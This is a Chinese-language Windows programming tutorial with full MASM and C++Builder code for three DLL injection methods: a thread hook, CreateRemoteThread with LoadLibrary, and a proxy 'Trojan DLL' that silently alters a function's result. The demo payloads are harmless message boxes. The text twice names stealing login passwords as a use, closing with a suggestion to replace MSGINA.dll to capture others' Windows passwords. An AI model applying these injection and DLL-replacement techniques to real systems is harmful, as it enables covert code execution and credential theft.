;invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
;mov pCodeRemote,eax
;invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL
;mov esi,pCodeRemote
;add esi,datalen
;push esi
;invoke LoadLibrary,offset userdll
;invoke GetProcAddress,eax,offset szmsg
;pop esi
;invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0
;——————————————– 下面是DLL注入
invoke VirtualAllocEx,hProcess,0, sizeof dllname, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset dllname,sizeof dllname,NULL
invoke LoadLibrary,offset kerdll
invoke GetProcAddress,eax,offset szloadlib
invoke CreateRemoteThread,hProcess,0,0,
eax, ;这个参数在代码注入中为代码起始地址,现在成了LoadLibraryA的起始地址了
pCodeRemote, ;要加载的DLL的名字
0,0
;——————————————– 没有用FreeLibrary所以只能加载一次
mov hThread,eax ; 返回线程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待线程结束
invoke CloseHandle,hThread ;关闭线程句柄
.endif
invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间
invoke CloseHandle,hProcess ;关闭进程句柄
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start
———————————-end———————
———————-modll.asm——————–
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
pid dd 0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
tit db ‘显示被注入进程的PID’,0
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH ;dll加载时
invoke GetCurrentProcessId
mov pid,eax
invoke wsprintf,offset szBuffer,offset szFormat,pid
invoke MessageBoxA,0,offset szBuffer,offset tit,0
.endif
mov eax,TRUE
ret
DllEntry Endp
End DllEntry
———————-end————————–
作者:陶冶(无邪)
MAIL:taoy5178@hotmail.com
OICQ:24149877
在WINDOWS中,每个进程都有自己独立的地址空间,这样一个应用程序就无法进入另一个进程的地址空间而不会破坏另一个 进程的运行,这样使得系统更加的稳定。但这样一来,相反的,如果我们要对我们感兴趣的进程进行操作也就变得复杂起来。比如,我们要为另一个进程创建的窗口 建立子类或是要想从其中一个感兴趣的进程中取得一些有趣的信息(比如你想得到WIN2000用户登录的密码)。而DLL注入技术就是正好可以解决这些问 题。DLL注入就是将DLL插入到其它你指定的进程的地址空间中,使得我们可以对感兴趣的进程进行操作。
在我们的 DLL注入到指定的进程空间时,为了可以使我们更清楚地看到它已经成功对注入到了指定的进程空间,所以我们有需要使用一个简单的工具来查看指定的进程空间 中所载入的所有模块,以便确定我们的DLL是否已经成功注入。如果你系统中装有WINDOWS优化大师,那么你可以利用它提供的进程工具来查看,没有也没 关系,我用BCB写了一个小工具,虽然不怎么方便,但也可以清楚地看到指定进程空间中的所有载入模块。
该工具的主要代码如下:
//—————————————————————————
void __fastcall TfrmMain::btLookClick(TObject *Sender)
{
DWORD dwProcessId;
BOOL bRet;
MODULEENTRY32 hMod = {sizeof(hMod)};
HANDLE hthSnapshot = NULL;
BOOL bMoreMods = FALSE;
ListView->Clear();
if (Edit->Text == “”)
return;
else
dwProcessId = StrToInt(Edit->Text);
// 为进程建立一个快照
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(Handle,(“CreateToolhelp32Snapshot failed with error ”
+ IntToStr(GetLastError())).c_str(),”Error!”,
MB_ICONINFORMATION + MB_OK);
return;
}
// 获取模块列表中的模块
bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(Handle,(“Module32First failed with error ”
+ IntToStr(GetLastError())).c_str(),”Error!”,
MB_ICONINFORMATION + MB_OK);
return;
}
for (; bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
TListItem *Item;
Item = ListView->Items->Add();
Item->Caption = String(hMod.szExePath);
Item->ImageIndex = 0;
}
// 关闭句柄
CloseHandle(hthSnapshot);
}
接下来就 开始我们的正题吧。
DLL注入主要有三种方法,即应用HOOK技术、创建远程线程和特洛伊DLL三种。
一、应用HOOK技术进行DLL注入
我原来写过有关HOOK的介绍,如果你看过了或者是以前写过HOOK程序,那么你已经会这种 DLL注入了。它其它就是为系统或某个线程安装一个钩子。这里要说的是,如果是全局钩子,那么你的DLL将会在进程调用时载入到任意一个调用的进程的地址 空间中,这样是相当浪费资源的。因此我在下载的演示中就只对某一个指定的线程安装线程钩子。
1、用BCB建立一个DLL工程(如果 你用的是VC或其它,请自己对照),输入以下代码:
//========================================================
// 文件: UnitLib.cpp
// 说明: 演示利用钩子技术进行DLL注入.
// 将本DLL中的代码注入到指定的进程空间.
// 作者: 陶冶(无邪)
//========================================================
// 函数声明
extern “C” __declspec(dllexport) __stdcall
bool SetHook(DWORD dwThreadId);
extern “C” __declspec(dllexport) __stdcall
LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam);
static HHOOK hHook = NULL; // 钩子句柄
static HINSTANCE hInst; // 当前DLL句柄
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
hInst = hinst;
return 1;
}
//—————————————————————————
// 安装钩子函数
bool __declspec(dllexport) __stdcall SetHook(DWORD dwThreadId)
{
if (dwThreadId != 0)
{
MessageBox(NULL, (“DLL已经注入!\nThreadId = ” +
IntToStr(dwThreadId)).c_str(),”DLL”,
MB_ICONINFORMATION + MB_OK);
// 安装指定线程的钩子
hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MyProc,
hInst,dwThreadId);
if (hHook != NULL)
return true;
}else
{
MessageBox(NULL, “DLL即将从记事本进程空间中撤出!”,”DLL”,
MB_ICONINFORMATION + MB_OK);
return (UnhookWindowsHookEx(hHook));
}
return true;
}
// 钩子函数
LRESULT CALLBACK __declspec(dllexport) __stdcall
MyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 因为只是演示DLL注入,所以这里什么也不做,交给系统处理
return (CallNextHookEx(hHook, nCode, wParam, lParam));
}
//—————————————————————————
该DLL中有两个函数,一个为安装钩子函数(SetHook),另一个为钩子函数(MyProc)。其中安装钩子函数 提供了一个参数,由该参数指定安装到哪个线程,如果该参数为0,则卸载钩子。
编译该工程,即生成我们要用来注入到指定进程中的 DLL文件了。
2、建立测试工程。用BCB建立一个应用程序工程,在窗体中添加两个按钮,一个用来安装线程 钩子,一个用来卸载。代码如下:
//—————————————————————————
// SetHook函数原型声明
typedef BOOL (WINAPI *LPSETHOOK)(unsigned long dwThreadId);
//—————————————————————————
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//—————————————————————————
// 安装钩子
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;
BOOL bRet;
PROCESS_INFORMATION info;
STARTUPINFO start;
memset(&start, 0, sizeof(start));
// 取得要载入的DLL文件名
szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),’\\’)).Length());
szPath = szPath + “\\DllLib.dll”;
// 载入DLL
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,”SetHook”);
if (lproc != NULL)
{
// 因为没有适当的工具可以取得线程ID,也为了简单起见,所以这里新创建了一个记事本进程,以便取得它的线程ID,对其安装钩子,把我们的DLL注入到记事 本进程中。
bRet = CreateProcess(NULL,
“c:\\winnt\\system32\\notepad.exe”,
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&start,
&info);
if (bRet != 0)
{
if((*lproc)(info.dwThreadId) == false)
ShowMessage(“Sethook failed with error ” +
IntToStr(GetLastError()));
}
else
{
ShowMessage(“CreateProcess failed with error ” +
IntToStr(GetLastError()));
}
}
}
}
//—————————————————————————
// 卸载钩子
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;
szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),’\\’)).Length());
szPath = szPath + “\\DllLib.dll”;
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,”SetHook”);
if (lproc != NULL)
(*lproc)(0);
}
}
//—————————————————————————
接下来生成可执行文件,点击第一个安装钩子按钮,然后你就可以用我们最开始写的查看模块的工具来查看了,你将会在模块中看到你刚才 DLL的路径及文件名,这表明我们已经成功地将自己的DLL注入到了记事本进程空间。点击卸载按钮后,再查看记事本进程中的模块,将不会看到我们DLL文 件的完整文件名,这表明已经成功撤消了对记事本进程的注入。
二、利用远程线程来进行DLL注入
这种方法同前一种方法相比,要显得复杂一些,并且这种方法只能在WIN2000中使用(XP,和最新的2003不知道)。具体步骤如下:
1)、取得远程进程的进程ID;
2)、在远程进程空间中分配一段内存用来存放要注入的DLL完整路径;
3)、将要注入的DLL的路径写到刚才分配的远程进程空间;
4)、从Kernel32.dll中取得LoadLibray的地址;
5)、调用CreateRemoteThread函数以从Kernel32.dll中取得的LoadLibrary函数的地址为线 程函数的地址,以我们要注入的DLL文件名为参数,创建远程线程;
在第二三步中,为什么要把我们要注入的DLL的文件名写到远程进 程的地址空间进行操作,《WINDOWS核心编程》中是这样描述的:
“(要注入的DLL文件名)字符串是在调用进程的地址空间中。该字 符串的地址已经被赋予新创建的远程线程,该线程将它传递给L o a d L i b r a r y A。但是,当L o a d L i b r a r y A取消对内存地址的引用时, D L L路径名字符串将不再存在,远程进程的线程就可能引发访问违规”;
至于第四步中为什么不直接对LoadLibrary进行调用,《WINDOWS核心编程》中是这样描述的:
“如果在对C r e a t e R e m o t e T h r e a d的调用中使用一个对L o a d L i b r a r y A的直接引用,这将在你的模块的输入节中转换成L o a d L i b r a r y A的形实替换程序的地址。将形实替换程序的地址作为远程线程的起始地址来传递,会导致远程线程开始执行一些令人莫名其妙的东西。其结果很可能造成访问违 规。”
好了,下面开始我们的例子。
1、同上面应用HOOK来进行DLL注入一样,我们先创建一 个DLL工程,这个DLL完全可以不编写任何代码,因为我们只想将DLL注入到指定进程就达到目的了,但为了好看,我还是随便在其中写一个API函数。代 码如下:
extern “C” __declspec(dllexport) __stdcall void About();
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
MessageBox(NULL,” 这个DLL模块演示了DLL的注入技术。\n”
“通过程序的调用LoadLibrary将本模块注入到指定的”
“进 程的地址空间中。”, “DLL注入技术”,
MB_ICONINFORMATION + MB_OK);
}
编译它,就得到我们用来注入的DLL文件了。接下来是测试工程。
2、编写测试工程。用BCB建立一个应用程序工程,在窗体中放入 两个按钮,一个用来注入,一个用来撤消,另外还有一个文本框控件,用来等待用户输入进程ID号。代码如下:
//—————————————————————————
// DLL注入函数
BOOL WINAPI LoadLib(DWORD dwProcessId, LPWSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL;
LPWSTR lpszRemoteFile = NULL;
// 打开远程进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE,
FALSE,
dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, (“OpenProcess failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 在远程进程中分配存贮DLL文件名的空间
lpszRemoteFile = (LPWSTR)VirtualAllocEx(hProcess, NULL,
sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
MEM_COMMIT, PAGE_READWRITE);
if (lpszRemoteFile == NULL)
{
MessageBox(NULL, (“VirtualAllocEx failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 复制DLL文件名到远程刚分配的进程空间
if (!WriteProcessMemory(hProcess, lpszRemoteFile,
(PVOID)lpszLibName, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
NULL))
{
MessageBox(NULL, (“WriteProcessMemory failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得LoadLibrary函数在Kennel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(“Kernel32.dll”),”LoadLibraryW”);
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, (“GetProcAddress failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn, // LoadLibrary地址
lpszRemoteFile, // 要加载的DLL名
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);
// 释放进程空间中的内存
VirtualFreeEx(hProcess, lpszRemoteFile, 0, MEM_RELEASE);
// 关闭句柄
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
// 在进程空间释放注入的DLL
BOOL WINAPI FreeLib(DWORD dwProcessId, LPTSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL,
hthSnapshot = NULL;
MODULEENTRY32 hMod = {sizeof(hMod)};
BOOL bFound;
// 取得指定进程的所有模块映象
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得所有模块列表中的指定的模块
BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(NULL, (“Module32First failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 循环取得想要的模块
for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
//ShowMessage(String(hMod.szExePath) + ” | ” + String(lpszLibName));
if ((strcmp(hMod.szExePath, lpszLibName) == 0) ||
(strcmp(hMod.szModule, lpszLibName) == 0))
break;
}
// 打开进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION,
FALSE, dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, (“OpenProcess failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得FreeLibrary函数在Kernel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(“Kernel32.dll”), “FreeLibrary”);
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, (“GetProcAddress failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程来执行FreeLibrary函数
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
hMod.modBaseAddr,
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);
// 关闭句柄
CloseHandle(hThread);
CloseHandle(hthSnapshot);
CloseHandle(hProcess);
return TRUE;
}
//—————————————————————————
void __fastcall TfrmMain::btLoadClick(TObject *Sender)
{
m_szDllFile = Application->ExeName;
m_szDllFile = m_szDllFile.SubString(0, m_szDllFile.Length()
- String(StrRScan(m_szDllFile.c_str(),’\\’)).Length());
m_szDllFile = m_szDllFile + “\\DllLib.dll”;
m_dwProcessId = StrToInt(Edit->Text);
LoadLib(m_dwProcessId, WideString(m_szDllFile).c_bstr());
}
//—————————————————————————
void __fastcall TfrmMain::btUnloadClick(TObject *Sender)
{
FreeLib(m_dwProcessId, m_szDllFile.c_str());
}
//—————————————————————————
好了,把上面的工程编译成生EXE文件,接下来我们就可以进行DLL的注入测试了。先打开记事本(当然你也可以打开其它的进程,或直接 在已经加载的进程测试),通过WINDOWS的任务管理器,找到它的进程ID。然后运行我们的测试工程,在文本框中输入进程ID,点击注入。这时我们就可 以通过我们最先写的小工具来查看它的进程空间中所包含的模块了,你会发现,我们的DLL已经成功加载到了它的进程空间中。点击卸载,取消DLL的注入。
三、 利用特洛伊DLL进行注入
这种方法的原理就是由自己写一个与原有进程调用的DLL具有相同接口函数的DLL,再用我们的DLL替换原有 的DLL。在替换的过程中,由我们自己编写感兴趣的函数替换原有函数,而对其它不感兴趣的函数,则以函数转发的形式调用原有DLL中的函数。这里面有个前 提,就是你在编写DLL时你必须知道原有DLL 中的函数都有哪些,以免导至其它进程调用DLL时找不到相应的API函数,特别是在替换系统DLL文件时更要小心。
下面就来演示一下这 种方式。我是这样做的,首先写一个DLL作为被替换的DLL,名为DllLib.dll(最后更名为_DllLib.dll),然后写特洛伊DLL,名为 TroyDll.Dll(最后更名为原有DLL名,即DllLib.dll),与DllLib.Dll具有相同的API函数过程,但是对其中的一个 API函数做更改,使其完成我们的工作,因为另外还有一个API函数需要对其进行函数转发,转给原来的DLL,即(更名为_DllLib.dll的 DllLib.dll)。这时我们的测试程序本来是调用的DllLib.dll的,但由于DllLib.dll已经被TroyDll.dll替换了,所以 测试程序实际上调用的是TroyDll.dll,而对于做转发的函数,则是通过TroyDll.Dll调用DllLib.dll(更名后的 _DllLib.dll)完成的。此时我们的特洛伊DLL实际上已经注入到我们的测试程序的进程空间中来了。
1、编写 本来的DLL。DllLib.dll(更名后为_DllLib.dll)的代码如下:
//========================================================
// 文件: UnitLib.cpp
// 说明: 演示用特洛伊DLL进行DLL注入.这个是本身的DLL,另一个特洛伊DLL将
// 对它进行函数转发,并实现另外的功能.
// 作者: 陶冶(无邪)
//========================================================
// 函数声明
extern “C” __declspec(dllexport) __stdcall void About();
extern “C” __declspec(dllexport) __stdcall int Add(int a, int b);
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
try
{
MessageBox(NULL,”这是本来的DLL文件!”,”原来的DLL”,
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),”DllLib”,MB_OK);
}
}
// 两数相加(注意:这里是两数相加)
int __declspec(dllexport) __stdcall Add(int a, int b)
{
return (a + b);
}
2、编写特洛伊DLL。TroyDll.dll的代码如下:
//=======================================================
// 文件: UnitTroy.cpp
// 说明: 这个是特洛伊DLL,呆会将它的DLL文件更改为要替换的DLL文件名
// 作者: 陶冶
//=======================================================
extern “C” __declspec(dllexport) __stdcall void About();
extern “C” __declspec(dllexport) __stdcall int Add(int a, int b);
int Multiply(int a, int b);
// DLL中的函数原形声明
typedef void (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);
static String szDllName;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
szDllName = Application->ExeName;
szDllName = szDllName.SubString(0,szDllName.Length()
- String(StrRScan(szDllName.c_str(),’\\’)).Length());
// 更名后的DllLib.dll文件名
szDllName = szDllName + “\\_DllLib.dll”;
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
// 直接做函数转发
HANDLE hDll = NULL;
hDll = LoadLibrary(szDllName.c_str());
ABOUT about;
try
{
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,”About”);
if (about != NULL)
about();
}
else
MessageBox(NULL,”载入原来的DLL错误!”, “特洛伊DLL”,
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),”DllTroy”,MB_OK);
}
}
int __declspec(dllexport) __stdcall Add(int a, int b)
{
int nRet;
HANDLE hDll = NULL;
ADD add;
hDll = LoadLibrary(szDllName.c_str());
if (hDll != NULL)
{
// 为了方便演示,这里再做一次函数转发,以便看到本来应该返回的值。
add = (ADD)GetProcAddress(hDll,”Add”);
if (add != NULL)
nRet = add(a, b);
ShowMessage(“这是本来DLL中的调用结果:” + IntToStr(nRet));
}
else
MessageBox(NULL, “载入本来的DLL错误!”, “特洛伊DLL”, MB_OK);
// 将原来完成两数相加的更改为两数相乘,返回两数的积。
nRet = Multiply(a, b);
return nRet;
}
int Multiply(int a, int b)
{
return (a * b);
}
3、编写测试工程。在窗体中添加两个按钮,分别调用DllLib.dll中的 两个API函数。代码如下:
typedef (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);
//—————————————————————————
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//—————————————————————————
void __fastcall TfrmMain::FormCreate(TObject *Sender)
{
m_szDllName = Application->ExeName;
m_szDllName = m_szDllName.SubString(0,m_szDllName.Length()
- String(StrRScan(m_szDllName.c_str(),’\\’)).Length());
m_szDllName = m_szDllName + “\\DllLib.dll”;
}
//—————————————————————————
// 调用About()函数
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
HANDLE hDll;
ABOUT about;
try
{
hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,”About”);
if (about != NULL)
about();
}
}catch(Exception &e)
{
MessageBox(Handle, e.Message.c_str(), “ERROR”,MB_OK);
}
}
//—————————————————————————
// 调用Add()函数
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
HANDLE hDll;
ADD add;
int nRet;
hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
add = (ADD)GetProcAddress(hDll,”Add”);
if (add != NULL)
nRet = add(10, 2);
ShowMessage(“从特洛伊DLL中返回的结果 : ” + IntToStr(nRet));
}
}
4、测试。将DllLib.dll更名为_DllLib.dll,将 TroyDll.dll更名为DllLib.dll,即完成了DLL的替换。下面运行我们的测试工程,单击调用About()函数的按钮,因为 About()是通过DllLib.dll(即TroyDll.dll)做的函数转发(转以给原 DLL,即_DllLib.dll),所以看到的是原DLL(即_DllLib.dll)中弹出的信息框。此时用查看进程模块的工具来查看进程空间,你会 发现,你的特洛伊DLL(更名后的DllLib.dll)已经成功以注入到了测试程序的进程空间中了。
单击调用Add()函数的按钮, 你会看到本来是完成两数相加的,返回的结果却是两数的积,因为我们已经在特洛伊DLL中对它做了手脚。这下是利用它的关键了。WINDOWS登录时的 GINA,知道吧,想得到别人登录的密码吗?那么就是用这种方法了,把MSGINA.dll这个东西给它替换成自己的DLL,再复杂的密码也照样得到啊, 一点也不费精神,呵呵~。(想自己写吗?看看《WinLogon登录管理和GINA简介》吧)
环境:
WIN2000 Server + BCB 6.0
参考:《WINDOWS核心编程》